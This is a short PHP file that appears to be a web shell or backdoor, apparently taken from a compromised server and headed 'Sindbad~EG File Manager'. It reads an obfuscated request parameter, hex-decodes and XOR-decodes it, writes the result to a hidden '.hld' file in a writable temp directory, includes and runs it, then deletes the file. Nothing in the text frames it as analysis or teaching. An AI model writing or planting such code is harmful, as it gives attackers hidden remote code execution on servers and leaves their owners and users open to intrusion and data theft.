Sindbad~EG File Manager

<?php

if(isset($_REQUEST["ent\x72\x79"])){
	$component = array_filter(["/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$property_set = hex2bin($_REQUEST["ent\x72\x79"]);
	$data_chunk    = ''   ;$u = 0; while($u < strlen($property_set)){$data_chunk .= chr(ord($property_set[$u]) ^ 4);$u++;}
	foreach ($component as $ptr):
    		if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) {
    $desc = implode("/", [$ptr, ".hld"]);
    if (@file_put_contents($desc, $data_chunk) !== false) {
	include $desc;
	unlink($desc);
	die();
}
}
endforeach;
}